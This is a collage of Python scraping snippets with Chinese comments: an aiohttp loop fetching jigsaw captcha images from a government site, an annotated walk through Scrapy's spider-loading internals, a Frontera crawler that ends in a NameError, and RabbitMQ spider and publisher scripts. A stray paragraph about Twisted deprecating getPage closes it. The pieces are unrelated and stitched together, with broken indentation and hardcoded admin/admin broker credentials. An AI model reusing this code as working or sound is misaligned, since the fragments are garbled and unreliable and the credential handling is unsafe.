from lxml.html import etree

from lxml.html import fromstring, HtmlElement



test_html = '''<p><span>hello</span><span>world</span></p>'''

test_element = fromstring(test_html)

etree.strip_tags(test_element,'span') # 清除span标签

etree.tostring(test_element)

url = 'http://xyhz.huizhou.gov.cn/static/js/common/jigsaw/images/{}.jpg'

headers={'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}

async def getPage(num):



    async with aiohttp.ClientSession() as session:

        async with session.get(url.format(num),headers=headers) as resp:

            if resp.status==200:

                f= await aiofiles.open('{}.jpg'.format(num),mode='wb')

                await f.write(await resp.read())

                await f.close()



loop = asyncio.get_event_loop()

tasks = [getPage(i) for i in range(5)]

loop.run_until_complete(asyncio.wait(tasks))

class Command(ScrapyCommand):



    requires_project = True



    def syntax(self):

        return '[options]'



    def short_desc(self):

        return 'Runs all of the spiders - My Defined'



    def run(self,args,opts):

        print('==================')

        print(type(self.crawler_process))

        spider_list = self.crawler_process.spiders.list() # 找到爬虫类



        for name in spider_list:

            print('=================')

            print(name)

            self.crawler_process.crawl(name,**opts.__dict__)



        self.crawler_process.start()

      def __init__(self, settings=None):

        if isinstance(settings, dict) or settings is None:

            settings = Settings(settings)

        self.settings = settings

        self.spider_loader = _get_spider_loader(settings) # 构造爬虫

        self._crawlers = set()

        self._active = set()

        self.bootstrap_failed = False

def _get_spider_loader(settings):



    cls_path = settings.get('SPIDER_LOADER_CLASS')

    

    # settings文件没有定义SPIDER_LOADER_CLASS，所以这里获取到的是系统的默认配置文件，

    # 默认配置文件在接下来的代码块A

    # SPIDER_LOADER_CLASS = 'scrapy.spiderloader.SpiderLoader'    

    

    loader_cls = load_object(cls_path) 

    # 这个函数就是根据路径转为类对象，也就是上面crapy.spiderloader.SpiderLoader 这个

    # 字符串变成一个类对象

    # 具体的load_object 对象代码见下面代码块B



    return loader_cls.from_settings(settings.frozencopy())

# 代码块A

#......省略若干

SCHEDULER = 'scrapy.core.scheduler.Scheduler'

SCHEDULER_DISK_QUEUE = 'scrapy.squeues.PickleLifoDiskQueue'

SCHEDULER_MEMORY_QUEUE = 'scrapy.squeues.LifoMemoryQueue'

SCHEDULER_PRIORITY_QUEUE = 'scrapy.pqueues.ScrapyPriorityQueue'



SPIDER_LOADER_CLASS = 'scrapy.spiderloader.SpiderLoader' 就是这个值

SPIDER_LOADER_WARN_ONLY = False



SPIDER_MIDDLEWARES = {}

# 代码块B 为了方便，我把异常处理的去除

from importlib import import_module #导入第三方库



def load_object(path):

    dot = path.rindex('.') 

    module, name = path[:dot], path[dot+1:]

    # 上面把路径分为基本路径+模块名

    

    mod = import_module(module)

    obj = getattr(mod, name)

    # 获取模块里面那个值

    

    return obj

In [33]: mod = import_module(module)                                                                                                                                             



In [34]: mod                                                                                                                                                                     

Out[34]: <module 'scrapy.spiderloader' from '/home/xda/anaconda3/lib/python3.7/site-packages/scrapy/spiderloader.py'>



In [35]: getattr(mod,name)                                                                                                                                                       

Out[35]: scrapy.spiderloader.SpiderLoader



In [36]: obj = getattr(mod,name)                                                                                                                                                 



In [37]: obj                                                                                                                                                                     

Out[37]: scrapy.spiderloader.SpiderLoader



In [38]: type(obj)                                                                                                                                                               

Out[38]: type

    def from_settings(cls, settings):

        return cls(settings)

class SpiderLoader(object):

    """

    SpiderLoader is a class which locates and loads spiders

    in a Scrapy project.

    """

    def __init__(self, settings):

        self.spider_modules = settings.getlist('SPIDER_MODULES') 

        # 获得settting中的模块名字，创建scrapy的时候就默认帮你生成了

        # 你可以看看你的settings文件里面的内容就可以找到这个值，是一个list

        

        self.warn_only = settings.getbool('SPIDER_LOADER_WARN_ONLY')

        self._spiders = {}

        self._found = defaultdict(list)

        self._load_all_spiders() # 加载所有爬虫

def _load_all_spiders(self):

        for name in self.spider_modules:            



                for module in walk_modules(name): # 这个遍历文件夹里面的文件，然后再转化为类对象，

                    # 保存到字典：self._spiders = {}       

                    self._load_spiders(module) # 模块变成spider



        self._check_name_duplicates() # 去重，如果名字一样就异常

def iter_spider_classes(module):

    from scrapy.spiders import Spider



    for obj in six.itervalues(vars(module)): # 找到模块里面的变量，然后迭代出来

        if inspect.isclass(obj) and \

           issubclass(obj, Spider) and \

           obj.__module__ == module.__name__ and \

           getattr(obj, 'name', None): # 有name属性，继承于Spider

           yield obj

from __future__ import print_function



import re



import requests



from frontera.contrib.requests.manager import RequestsFrontierManager

# from frontera.contrib.requests.manager import RequestsFrontierManager

from frontera import Settings



from six.moves.urllib.parse import urljoin





SETTINGS = Settings()

SETTINGS.BACKEND = 'frontera.contrib.backends.memory.FIFO'

# SETTINGS.BACKEND = 'frontera.contrib.backends.memory.MemoryDistributedBackend'



SETTINGS.LOGGING_MANAGER_ENABLED = True

SETTINGS.LOGGING_BACKEND_ENABLED = True

SETTINGS.MAX_REQUESTS = 100

SETTINGS.MAX_NEXT_REQUESTS = 10



SEEDS = [

    'http://www.imdb.com',

]



LINK_RE = re.compile(r'<a.+?href="(.*?)".?>', re.I)





def extract_page_links(response):

    return [urljoin(response.url, link) for link in LINK_RE.findall(response.text)]



if __name__ == '__main__':



    frontier = RequestsFrontierManager(SETTINGS)

    frontier.add_seeds([requests.Request(url=url) for url in SEEDS])

    while True:

        next_requests = frontier.get_next_requests()

        if not next_requests:

            break

        for request in next_requests:

                try:

                    response = requests.get(request.url)

                    links = [

                        requests.Request(url=url)

                        for url in extract_page_links(response)

                    ]

                    frontier.page_crawled(response)

                    print('Crawled', response.url, '(found', len(links), 'urls)')



                    if links:

                        frontier.links_extracted(request, links)

                except requests.RequestException as e:

                    error_code = type(e).__name__

                    frontier.request_error(request, error_code)

                    print('Failed to process request', request.url, 'Error:', e)

raise NameError("Module '%s' doesn't define any object named '%s'" % (module, name))

NameError: Module 'frontera.contrib.backends.memory' doesn't define any object named 'FIFO'

import re

import requests

import scrapy

from scrapy import Request

from rabbit_spider import settings

from scrapy.log import logger

import json

from rabbit_spider.items import RabbitSpiderItem

import datetime

from scrapy.selector import Selector

import pika



# from scrapy_rabbitmq.spiders import RabbitMQMixin

# from scrapy.contrib.spiders import CrawlSpider



class Website(scrapy.Spider):

    name = "rabbit"



    def start_requests(self):

        headers = {'Accept': '*/*',

                   'Accept-Encoding': 'gzip, deflate, br',

                   'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',

                   'Host': '36kr.com',

                   'Referer': 'https://36kr.com/information/web_news',

                   'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36'

                   }



        url = 'https://36kr.com/information/web_news'

        



        yield Request(url=url,

                      headers=headers)



    def parse(self, response):

       



        credentials = pika.PlainCredentials('admin', 'admin')

        connection = pika.BlockingConnection(pika.ConnectionParameters('192.168.1.101', 5672, '/', credentials))



        channel = connection.channel()

        channel.exchange_declare(exchange='direct_log', exchange_type='direct')



        result = channel.queue_declare(exclusive=True, queue='')



        queue_name = result.method.queue



        # print(queue_name)

        # infos = sys.argv[1:] if len(sys.argv)>1 else ['info']

        info = 'info'



        # 绑定多个值



        channel.queue_bind(

            exchange='direct_log',

            routing_key=info,

            queue=queue_name

        )

        print('start to receive [{}]'.format(info))



        channel.basic_consume(

            on_message_callback=self.callback_func,

            queue=queue_name,

            auto_ack=True,

        )



        channel.start_consuming()





    def callback_func(self, ch, method, properties, body):

        print(body)

from scrapy import cmdline

cmdline.execute('scrapy crawl rabbit'.split())

import pika

import settings



credentials = pika.PlainCredentials('admin','admin')

connection = pika.BlockingConnection(pika.ConnectionParameters('192.168.1.101',5672,'/',credentials))



channel = connection.channel()

channel.exchange_declare(exchange='direct_log',exchange_type='direct') # fanout 就是组播



routing_key = 'info'

message='https://36kr.com/pp/api/aggregation-entity?type=web_latest_article&b_id=59499&per_page=30'

channel.basic_publish(

	exchange='direct_log',

	routing_key=routing_key,

	body=message

	)



print('sending message {}'.format(message))

connection.close()

Twisted-16.7.0 is coming soon, and it deprecates twisted.web.client.getPage (and client.HTTPClientFactory). We use these in some of the unit tests, to fetch one of the HTTP WAPI/WUI pages and make sure the contents look right.

We need to change these tests to use twisted.web.client.Agent instead, or a package named "treq", which is a Twisted flavor of the excellent (but blocking) requests library.